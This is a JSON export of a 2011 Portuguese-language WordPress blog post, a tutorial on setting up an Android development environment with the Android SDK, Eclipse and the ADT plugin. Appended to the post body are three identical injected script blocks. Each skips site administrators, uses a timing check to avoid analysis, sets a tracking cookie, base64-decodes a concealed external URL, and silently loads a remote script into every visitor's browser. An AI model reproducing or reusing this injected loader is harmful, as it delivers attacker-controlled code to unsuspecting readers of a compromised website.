{"id":1473,"date":"2011-05-24T15:04:29","date_gmt":"2011-05-24T18:04:29","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1473"},"modified":"2025-10-26T22:40:08","modified_gmt":"2025-10-27T01:40:08","slug":"ambiente-de-desenvolvimento-android","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/24\/ambiente-de-desenvolvimento-android\/","title":{"rendered":"Ambiente de desenvolvimento Android"},"content":{"rendered":"<p style=\"text-align: justify;\">Para desenvolver na plataforma Android, a configura\u00e7\u00e3o do ambiente \u00e9 muito simples. Irei executar os passos no Linux, mas o mesmo procedimento pode ser executado no Windows ou Mac sem grandes modifica\u00e7\u00f5es.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 fazer o download do SDK do Android no seguinte endere\u00e7o: <a title=\"Android SDK\" href=\"http:\/\/developer.android.com\/sdk\/\" target=\"_blank\" rel=\"noopener\">http:\/\/developer.android.com\/sdk\/<\/a>. Fa\u00e7a tamb\u00e9m o Download do Eclipse (caso voc\u00ea n\u00e3o tenha): <a title=\"Download Eclipse\" href=\"http:\/\/www.eclipse.org\/downloads\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.eclipse.org\/downloads\/<\/a>. A vers\u00e3o Classic \u00e9 mais leve e melhor para o desenvolvimento. Descompacte os dois arquivos: Android SDK e Eclipse. Para a vers\u00e3o do Android SDK no Windows, voc\u00ea tem a op\u00e7\u00e3o de utilizar um instalador, n\u00e3o sendo necess\u00e1rio descompactar.<\/p>\n<p style=\"text-align: justify;\">Execute o Eclipse e escolha um workspace para desenvolvimento. Selecione Help, Install New Software, Add. Informe um nome e digite a seguinte URL: https:\/\/dl-ssl.google.com\/android\/eclipse\/<\/p>\n<figure id=\"attachment_1478\" aria-describedby=\"caption-attachment-1478\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Add-Repository-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1478 \" title=\"Add Repository\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Add-Repository--300x126.png\" alt=\"Add Repository\" width=\"300\" height=\"126\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Add-Repository--300x126.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Add-Repository-.png 404w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1478\" class=\"wp-caption-text\">Add Repository<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em OK. Marque Developer Tools e clique em Next. Clique em Next na pr\u00f3xima tela. Concorde com os termos e clique em Finish. Caso voc\u00ea tenha algum problema de seguran\u00e7a ou de autenticidade, clique em OK para prosseguir. Aguarde a instala\u00e7\u00e3o e clique em Restart Now.<\/p>\n<p style=\"text-align: justify;\">Para configurar o Eclipse, v\u00e1 em Window, Preferences. clique na aba Android. Ao clicar uma janela para envio de informa\u00e7\u00f5es para o Google poder\u00e1 ser exibida, clique em Proceed. Se voc\u00ea tiver problemas ao clicar, feche a janela de Preferences, clique em Proceed e abra novamente. Clique em Browse e informe o local que voc\u00ea descompactou o SDK e clique em Apply. Aparecer\u00e1 uma mensagem que o SDK tools est\u00e1 faltando, clique em OK, pois iremos instal\u00e1-lo posteriormente.<\/p>\n<figure id=\"attachment_1482\" aria-describedby=\"caption-attachment-1482\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Android-SDK-Verification-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1482 \" title=\"Android SDK Verification\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Android-SDK-Verification--300x98.png\" alt=\"Android SDK Verification\" width=\"300\" height=\"98\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Android-SDK-Verification--300x98.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Android-SDK-Verification-.png 453w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1482\" class=\"wp-caption-text\">Android SDK Verification<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Acesse Window, Android SDK and AVD Manager. Selecione Available Packages. Selecione Android SDK Platform-tools, Documentation for Android SDK (se voc\u00ea for querer a documenta\u00e7\u00e3o para desenvolver), escolha os SDK Platform para os dispositivos que voc\u00ea vai querer desenvolver (a instala\u00e7\u00e3o de SDKs pode ser feita posteriormente), selecione Samples para ter exemplo de c\u00f3digo de acordo com as vers\u00f5es de SDK Platform instalados. Recomendo tamb\u00e9m a instala\u00e7\u00e3o do Android Compatibility package para o desenvolvimento de aplica\u00e7\u00f5es para v\u00e1rios dispositivos. Caso queira trabalhar com mapas e recursos da Google, instale tamb\u00e9m o Google Inc. em Third party Add-ons. Clique em Install Selected. Na pr\u00f3xima tela, clique em Accept All e Install.<\/p>\n<figure id=\"attachment_1484\" aria-describedby=\"caption-attachment-1484\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Choose-Packages-to-Install-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1484 \" title=\"Choose Packages to Install\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Choose-Packages-to-Install--300x150.png\" alt=\"Choose Packages to Install\" width=\"300\" height=\"150\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Choose-Packages-to-Install--300x150.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/05\/Screenshot-Choose-Packages-to-Install-.png 740w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1484\" class=\"wp-caption-text\">Choose Packages to Install<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Caso solicite para reiniciar o ADB \u00e9 s\u00f3 clicar em Yes. Clique em Close. Ambiente configurado!<\/p>\n<p style=\"text-align: justify;\">Voc\u00ea pode tamb\u00e9m configurar o PATH para executar as ferramentas via linha de comando. Abra o seu arquivo: ~\/.bashrc e digite o seguinte:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">export PATH=${PATH}:$ANDROID_SDK\/tools:$ANDROID_SDK\/platform-tools<\/pre>\n<p>Substitua $ANDROID_SDK pelo caminho onde voc\u00ea descompactou o Android SDK. Digite: <em>source ~\/bashrc<\/em><\/p>\n<p style=\"text-align: justify;\">Procure no site da fabricante do seu dispositivo Android tamb\u00e9m se h\u00e1 alguma outra ferramenta de desenvolvimento ou Add-on site para o Eclipse.<\/p>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 configurar o emulador e come\u00e7ar a desenvolver sua aplica\u00e7\u00e3o. Abordarei isso em outro post.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Para desenvolver na plataforma Android, a configura\u00e7\u00e3o do ambiente \u00e9 muito simples. Irei executar os passos no Linux, mas o mesmo procedimento pode ser executado no Windows ou Mac sem grandes modifica\u00e7\u00f5es. O primeiro passo \u00e9 fazer o download do <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/05\/24\/ambiente-de-desenvolvimento-android\/\">Continue lendo  <span class=\"screen-reader-text\">  Ambiente de desenvolvimento Android<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[84,3,64],"tags":[],"class_list":["post-1473","post","type-post","status-publish","format-standard","hentry","category-android","category-java","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1473","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1473"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1473\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1473"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1473"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1473"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}